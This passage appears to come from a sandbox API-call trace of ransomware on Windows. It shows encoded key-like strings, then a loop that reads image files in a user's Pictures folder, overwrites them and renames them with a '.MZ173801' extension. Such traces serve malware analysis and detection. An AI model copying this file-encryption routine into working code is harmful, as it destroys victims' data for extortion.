NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.888] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.889] GetCurrentThreadId () returned 0x9fc [0122.889] GetCurrentThreadId () returned 0x9fc [0122.889] GetCurrentThreadId () returned 0x9fc [0122.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0122.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x7a13fc, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0122.890] GetCurrentThreadId () returned 0x9fc [0122.890] GetCurrentThreadId () returned 0x9fc [0122.890] GetCurrentThreadId () returned 0x9fc [0122.890] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\_lWh-UgZnqS4ctet.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\_lwh-ugznqs4ctet.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.890] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0122.890] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.890] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xf8d0 [0122.890] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0122.890] ReadFile (in: hFile=0x280, lpBuffer=0x714510, nNumberOfBytesToRead=0xf8d0, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xf8d0, lpOverlapped=0x0) returned 1 [0122.891] CloseHandle (hObject=0x280) returned 1 [0122.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\_lWh-UgZnqS4ctet.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\_lwh-ugznqs4ctet.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0122.894] WriteFile (in: hFile=0x280, lpBuffer=0x724540*, nNumberOfBytesToWrite=0xf8d0, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x724540*, lpNumberOfBytesWritten=0x18f6d0*=0xf8d0, lpOverlapped=0x0) returned 1 [0122.896] CloseHandle (hObject=0x280) returned 1 [0122.903] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\_lWh-UgZnqS4ctet.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\_lwh-ugznqs4ctet.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\_lWh-UgZnqS4ctet.bmp.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sxghe_\\_lwh-ugznqs4ctet.bmp.mz173801")) returned 1 [0122.904] GetCurrentThreadId () returned 0x9fc [0122.904] GetCurrentThreadId () returned 0x9fc [0122.904] GetCurrentThreadId () returned 0x9fc [0122.904] GetCurrentThreadId () returned 0x9fc [0122.904] GetCurrentThreadId () returned 0x9fc [0122.904] GetCurrentThreadId () returned 0x9fc [0122.904] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0497740, ftCreationTime.dwHighDateTime=0x1d5e122, ftLastAccessTime.dwLowDateTime=0xc2a2930, ftLastAccessTime.dwHighDateTime=0x1d5d884, ftLastWriteTime.dwLowDateTime=0xc2a2930, ftLastWriteTime.dwHighDateTime=0x1d5d884, nFileSizeHigh=0x0, nFileSizeLow=0xf8d0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="_lWh-UgZnqS4ctet.bmp", cAlternateFileName="_LWH-U~1.BMP")) returned 0 [0122.904] GetLastError () returned 0x12 [0122.904] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0122.904] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sxGhE_\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59b07090, ftCreationTime.dwHighDateTime=0x1d5dcbe, ftLastAccessTime.dwLowDateTime=0x9a243740, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9a243740, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0122.904] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0122.904] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.904] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59b07090, ftCreationTime.dwHighDateTime=0x1d5dcbe, ftLastAccessTime.dwLowDateTime=0x9a243740, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0x9a243740, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="..", cAlternateFileName="")) returned 1 [0122.904] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.904] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.904] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ffa8a40, ftCreationTime.dwHighDateTime=0x1d5e621, ftLastAccessTime.dwLowDateTime=0x636c9620, ftLastAccessTime.dwHighDateTime=0x1d5e576, ftLastWriteTime.dwLowDateTime=0x9a138da0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x13af9, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="HoMGKUXklaWv Dlr.gif.MZ173801", cAlternateFileName="HOMGKU~1.MZ1")) returned 1 [0122.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.905] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.905] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8f9e860, ftCreationTime.dwHighDateTime=0x1d5e367, ftLastAccessTime.dwLowDateTime=0x69d81380, ftLastAccessTime.dwHighDateTime=0x1d5deab, ftLastWriteTime.dwLowDateTime=0x9a185060, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x172a5, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="i0jXfoc7a.bmp.MZ173801", cAlternateFileName="I0JXFO~1.MZ1")) returned 1 [0122.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.905] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.905] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf26790e0, ftCreationTime.dwHighDateTime=0x1d5e2b1, ftLastAccessTime.dwLowDateTime=0xb0119080, ftLastAccessTime.dwHighDateTime=0x1d5d8e1, ftLastWriteTime.dwLowDateTime=0x9a185060, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="IkmZeMY2n.jpg.MZ173801", cAlternateFileName="IKMZEM~1.MZ1")) returned 1 [0122.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.905] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.905] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6b4850, ftCreationTime.dwHighDateTime=0x1d5e75e, ftLastAccessTime.dwLowDateTime=0xed379950, ftLastAccessTime.dwHighDateTime=0x1d5e2f0, ftLastWriteTime.dwLowDateTime=0x9a1ab1c0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xc3df, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="MWrUzIRQCTgTLWF8I.gif.MZ173801", cAlternateFileName="MWRUZI~1.MZ1")) returned 1 [0122.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.905] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.905] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5014310, ftCreationTime.dwHighDateTime=0x1d5dd15, ftLastAccessTime.dwLowDateTime=0x8e3153c0, ftLastAccessTime.dwHighDateTime=0x1d5d9d0, ftLastWriteTime.dwLowDateTime=0x9a1d1320, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x2222, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="Px1_mRLS.bmp.MZ173801", cAlternateFileName="PX1_MR~1.MZ1")) returned 1 [0122.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.905] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.905] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x969a6a40, ftCreationTime.dwHighDateTime=0x1d5e279, ftLastAccessTime.dwLowDateTime=0x58d40fb0, ftLastAccessTime.dwHighDateTime=0x1d5dff2, ftLastWriteTime.dwLowDateTime=0x9a1f7480, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="WBa20XpzpXs6n.gif.MZ173801", cAlternateFileName="WBA20X~1.MZ1")) returned 1 [0122.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.905] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.905] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a6e8f0, ftCreationTime.dwHighDateTime=0x1d5e080, ftLastAccessTime.dwLowDateTime=0xdb47aea0, ftLastAccessTime.dwHighDateTime=0x1d5dff4, ftLastWriteTime.dwLowDateTime=0x9a21d5e0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x50ac, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="xeIgXkPUlRxd O37A4 6.png.MZ173801", cAlternateFileName="XEIGXK~1.MZ1")) returned 1 [0122.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.905] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.905] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0497740, ftCreationTime.dwHighDateTime=0x1d5e122, ftLastAccessTime.dwLowDateTime=0xc2a2930, ftLastAccessTime.dwHighDateTime=0x1d5d884, ftLastWriteTime.dwLowDateTime=0x9a243740, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xf8d0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="_lWh-UgZnqS4ctet.bmp.MZ173801", cAlternateFileName="_LWH-U~1.MZ1")) returned 1 [0122.905] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0122.905] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0122.905] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0497740, ftCreationTime.dwHighDateTime=0x1d5e122, ftLastAccessTime.dwLowDateTime=0xc2a2930, ftLastAccessTime.dwHighDateTime=0x1d5d884, ftLastWriteTime.dwLowDateTime=0x9a243740, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xf8d0, dwReserved0=0x2e0000, dwReserved1=0x95000491, cFileName="_lWh-UgZnqS4ctet.bmp.MZ173801", cAlternateFileName="_LWH-U~1.MZ1")) returned 0 [0122.905] GetLastError () returned 0x12 [0122.905] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0122.905] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d0ba70, ftCreationTime.dwHighDateTime=0x1d5de3e, ftLastAccessTime.dwLowDateTime=0xc8500bf0, ftLastAccessTime.dwHighDateTime=0x1d5e740, ftLastWriteTime.dwLowDateTime=0x9a0082a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x16c1c, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="9rk9isrfAE4uu0wzq.bmp.MZ173801", cAlternateFileName="9RK9IS~1.MZ1")) returned 1 [0122.905] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.905] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.905] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94154b80, ftCreationTime.dwHighDateTime=0x1d5d9b1, ftLastAccessTime.dwLowDateTime=0x55c413a0, ftLastAccessTime.dwHighDateTime=0x1d5e17e, ftLastWriteTime.dwLowDateTime=0x9a02e400, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x18bc9, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="BDN0V6S.gif.MZ173801", cAlternateFileName="BDN0V6~1.MZ1")) returned 1 [0122.905] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.905] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.905] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.906] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c3f9e0, ftCreationTime.dwHighDateTime=0x1d5dfd8, ftLastAccessTime.dwLowDateTime=0x45298cb0, ftLastAccessTime.dwHighDateTime=0x1d5e128, ftLastWriteTime.dwLowDateTime=0x9a054560, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0xc4c, dwReserved0=0xbbc33b5c, dwReserved1=0xa03bf443, cFileName="fhtI4R.png.MZ173801", cAlternateFileName="FHTI4R~1.MZ1")) returned 1 [0122.906] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.906] 